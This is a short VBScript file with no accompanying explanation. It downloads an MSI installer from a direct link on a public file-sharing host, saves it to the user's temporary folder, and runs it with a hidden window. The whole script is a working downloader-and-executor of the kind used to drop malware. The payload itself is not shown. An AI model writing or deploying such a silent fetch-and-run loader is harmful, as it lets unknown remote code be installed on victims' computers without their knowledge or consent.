Dim url, tempPath, http, stream

url = "https://store-na-phx-5.gofile.io/download/direct/d6f01ce4-3a7d-4e96-ab5e-8223643e93ca/AppClient1.msi"

Set WshShell = CreateObject("WScript.Shell")
tempPath = WshShell.ExpandEnvironmentStrings("%TEMP%") & "\AppClient1.msi"

Set http = CreateObject("MSXML2.ServerXMLHTTP")
http.Open "GET", url, False
http.Send

If http.Status = 200 Then
    Set stream = CreateObject("ADODB.Stream")
    stream.Open
    stream.Type = 1
    stream.Write http.responseBody
    stream.SaveToFile tempPath, 2
    stream.Close
    
    WshShell.Run Chr(34) & tempPath & Chr(34), 0
End If